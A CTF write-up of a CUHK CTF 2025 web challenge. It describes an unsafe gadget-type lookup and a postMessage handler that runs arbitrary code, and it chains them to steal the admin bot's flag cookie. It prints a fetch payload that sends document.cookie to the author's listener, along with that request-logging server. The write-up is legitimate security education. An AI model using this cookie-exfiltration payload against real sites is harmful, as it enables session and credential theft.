Background
The CUHK CTF 2025 was a CTF hosted by Open Innovation Lab, CUHK, and supported by the Department of Information Engineering and HKACE. The 48 hour event was held from 26 Sept, 2025 to 28 Sept, 2025.
Team: Make Capture the Failure Great Again
Team Solves: 45/49
Rank: 2nd/158 (1st in CUHK division)
Individual Solves: 9/49
Thoughts
This CTF was the second time I joined a CTF, and I didn't have much experience in pwn or reverse engineering, but sure I did solve a few web problems which I am quite familiar with.
Interestingly, there was another problem in the CTF that involved exploiting CVE-2025-29927, which involves the Next.JS version that one of my projects is still using. Luckily vercel had patched the vulnerability in their hosts but this was still a good reminder to update my projects.
Our team ended up getting 2nd place in the CTF, which was a good result for us considering that our last year's result was outside of the top 10s. Huge thanks to my teammates for their crazy work on pwn and rev problems! Which you can visit their writeups on [misc] MinPCC and [pwn] babi_rop.
Challenge
Category: web
Author: sup
Difficulty: ★★★☆
Description
Hi guys! I have been working on this Whiteboard thing where you can add lots of gadgets to it! However, I'm busy making challenges for this CTF already so this is still work in progress.
Can you help me make the UI and UX better? Don't hack me pleeaaseeeee thxxx!
Inspecting the challenge
On launching the challenge, we are greeted with a website that allows us to create a new board and ask the admin to visit the website.

The web project is composed of a frontend server at 25053 and a backend server at 25054, connected to a postgres db.
I first started the docker containers using docker compose:
docker compose up -d
which allowed me to do experiments locally.
Inspecting the website, the admin part is particularly interesting, so I checked out the endpoint on the backend.
/visit endpoint
A quick search of the project reveals that the flag is added as an environment variable in .env, and that it is exposed in the /visit endpoint.
The flag is added as a cookie for the "admin" to visit. The cookie is restricted to the same site, which means we need to get the frontend to execute some code (cookies are accessible easily on the client side with document.cookie)
This code launches a headless chrome browser and visits the destination URL, and adds a cookie for the "admin" to visit. So, our goal is to get the frontend to execute some code, and have the admin visit the website.
const { Builder, Browser, By } = require("selenium-webdriver");
const { Options } = require("selenium-webdriver/chrome");
exports.visit = async (req, res) => {
if (!req.body?.dest)
res.status(400).json({ message: "something missing in request body" });
const dest = req.body.dest;
try {
new URL(dest);
} catch {
res.status(400).json({ message: "something missing in request body" });
}
let options = new Options();
options.addArguments([
"--headless=new",
"--no-sandbox",
"--disable-dev-shm-usage",
]);
let driver = await new Builder()
.forBrowser(Browser.CHROME)
.setChromeOptions(options)
.build();
await driver.get(process.env.FLAG_DOMAIN);
await driver.manage().addCookie({
name: "flag",
value: process.env.FLAG,
sameSite: "Strict",
});
try {
await driver.get(dest);
res.status(200).json({
message: "admin is visiting your web page, please wait a moment",
});
await driver.sleep(10 * 1000);
} finally {
await driver.quit();
}
};
Inspecting the network requests
In the board page, we are able to create new gadgets and move them around.

When new gadgets are introduced on the frontend, or moved around, a PUT request is made:
curl 'http://chall-b.25.cuhkctf.org:25054/board/5c97c600-17fb-4b3a-842d-39d65a9e8e52' \
-X PUT \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:143.0) Gecko/20100101 Firefox/143.0' \
-H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Language: ja,zh-TW;q=0.8,en-US;q=0.5,en;q=0.3' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Content-Type: application/json' \
-H 'Origin: http://chall-b.25.cuhkctf.org:25053' \
-H 'Sec-GPC: 1' \
-H 'Connection: keep-alive' \
-H 'Referer: http://chall-b.25.cuhkctf.org:25053/' \
--data-raw '{"content":{"de5db8b0-3a21-46df-8586-4f2942dd2820":{"id":"de5db8b0-3a21-46df-8586-4f2942dd2820","type":"gadget.paragraph","content":"New Gadget","left":240,"top":372}}}'
Note: Retrieving the network requests can be done by inspecting the network tab in the browser, and copy as cURL format.
Personally, I use HTTPie for making the requests, you can import the cURL commands into HTTPie and it allows for easy editing. (I don't understand burpsuite lol)
Since the front-end seems pretty limited (only boxes of New Gadget?), and there was a field for "type", I thought there might be more types we could use.
I did a quick search on .type in vscode, and found that it was used for constructGadget, which has an interesting code:
function constructGadget(typeString: GadgetType, data: any): Gadget {
let gadgetClass: any = utils;
for (let str of typeString.split(".")) gadgetClass = gadgetClass[str];
return new gadgetClass(data);
}
An normal developer might make utils a map for different types, but the utils here is the entire utils.ts (import * as utils from "~/utils";)
This means we can use anything exported from utils.ts:
export const gadget = {
paragraph: TextGadget,
text_input: InputGadget,
button: ButtonGadget,
image: ImageGadget,
board: BoardGadget,
};
export const functions = {
sendToChild,
sendToParent,
handleMessages,
};
export const objects = { APIInstance };
The default code uses gadget.paragraph, which creates a boring box. The code path for that splits the type string into utils["gadget"]["paragraph"].
Interesting exports functions
I continued to check other exports in the utils.ts file, and found that sendToParent and sendToChild are functions that are used to communicate between windows (possibly iframes?), but handleMessages is the fun part.
handleMessages is actually only used once:
utils.functions.handleMessages((event) => {
if (event.origin !== window.origin) return;
const { data } = event;
if (data.pageLoaded) setChildLoaded(true);
if (data.isChildBoard) setIsChild(true);
if (data.executeFunction) {
try {
new Function(data.functionString)(...data.arguments);
} catch (error) {
console.error(error);
}
}
});
There it is, the way to execute any code! We just need to specify executeFunction, functionString and arguments in order to run arbitrary code on the frontend.
// This simply does alert("hi")
new Function('alert("hi")')([])
Now, we just need to craft a site that gets messages to handle on open.
Crafting the exploit
I first tried to simply put send some messages. Since sendToParent requires only 1 parameter, but sendToChild requires 2 parameters. The only one we can use is sendToParent.
This is because the code is called by the following, where only data is passed in, and data is the object we can craft.
new functions.sendToParent(data)
However, we need to run this as a child! So we are going to use the gadget.board to create a new board as a child.
I first created a new board of UUID 79db4911-cb68-49ed-90e3-703694070eb2, and in the first board 9575a867-adf7-47e6-97f0-bd24c4255ae0 added the new board as a board gadget. The crafted PUT request is as follows:

Yes, I simply followed the same format as the normal blocks, but with gadget.board instead of gadget.paragraph and added the boardId. And there we go, we get a child board within our main board.

Then, I added the exploit code to the child board:

Then, accessed the main board at http://chall-b.25.cuhkctf.org:25053/9575a867-adf7-47e6-97f0-bd24c4255ae0 with a dialog successfully popping up!

Getting the flag
Then, I just asked AI to give me a python server to log any web requests, and change the function string to fetch('http://<MYCOMPUTERIP>/?s=' + document.cookie):

Python server: (I love AI, AI slop is beautiful)
#!/usr/bin/env python3
import os
import sys
import time
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
class RequestPrinterHandler(BaseHTTPRequestHandler):
"""Simple request logger that prints method, path, headers, and body."""
server_version = "CTFRequestPrinter/1.0"
protocol_version = "HTTP/1.1"
def _read_body(self) -> bytes:
content_length_header = self.headers.get("Content-Length")
try:
content_length = int(content_length_header) if content_length_header else 0
except ValueError:
content_length = 0
if content_length > 0:
return self.rfile.read(content_length)
return b""
def _log_request(self, body: bytes) -> None:
timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
client_ip, client_port = self.client_address
print()
print(f"[{timestamp}] {client_ip}:{client_port} {self.command} {self.path}")
for key, value in self.headers.items():
print(f"{key}: {value}")
if body:
try:
text = body.decode("utf-8")
print()
print(text)
except UnicodeDecodeError:
print()
print(f"<binary body> {len(body)} bytes")
else:
print()
print("<no body>")
sys.stdout.flush()
def _respond_ok(self) -> None:
body = b"ok\n"
self.send_response(200)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
# Useful for CTF/browser testing
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Headers", "*")
self.send_header("Access-Control-Allow-Methods", "GET,POST,PUT,PATCH,DELETE,OPTIONS")
self.end_headers()
self.wfile.write(body)
# Handle common methods
def do_OPTIONS(self): # noqa: N802
body = self._read_body()
self._log_request(body)
self._respond_ok()
def do_GET(self): # noqa: N802
body = self._read_body()
self._log_request(body)
self._respond_ok()
def do_POST(self): # noqa: N802
body = self._read_body()
self._log_request(body)
self._respond_ok()
def do_PUT(self): # noqa: N802
body = self._read_body()
self._log_request(body)
self._respond_ok()
def do_PATCH(self): # noqa: N802
body = self._read_body()
self._log_request(body)
self._respond_ok()
def do_DELETE(self): # noqa: N802
body = self._read_body()
self._log_request(body)
self._respond_ok()
# Silence default logging to stderr (we already print)
def log_message(self, format: str, *args) -> None: # noqa: A003
return
def main() -> None:
host = sys.argv[1] if len(sys.argv) > 1 else os.getenv("HOST", "0.0.0.0")
port_str = sys.argv[2] if len(sys.argv) > 2 else os.getenv("PORT", "8000")
try:
port = int(port_str)
except ValueError:
print(f"Invalid port '{port_str}', defaulting to 8000")
port = 8000
httpd = ThreadingHTTPServer((host, port), RequestPrinterHandler)
print(f"Serving on http://{host}:{port} (CTRL+C to stop)")
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
finally:
httpd.server_close()
print("Server stopped.")
if __name__ == "__main__":
main()
Then very securely, I opened up my port 8000 in my home router to the world wide web (is there a better way to get requests like this? please help me thx),
and told the admin to visit my beautiful link: http://chall-b.25.cuhkctf.org:25053/9575a867-adf7-47e6-97f0-bd24c4255ae0
Success! cuhk25ctf{cR3d17_t0_g00613_F0r_7hi5_iD34_7o_c0n5truc7_a_fUnCt10N}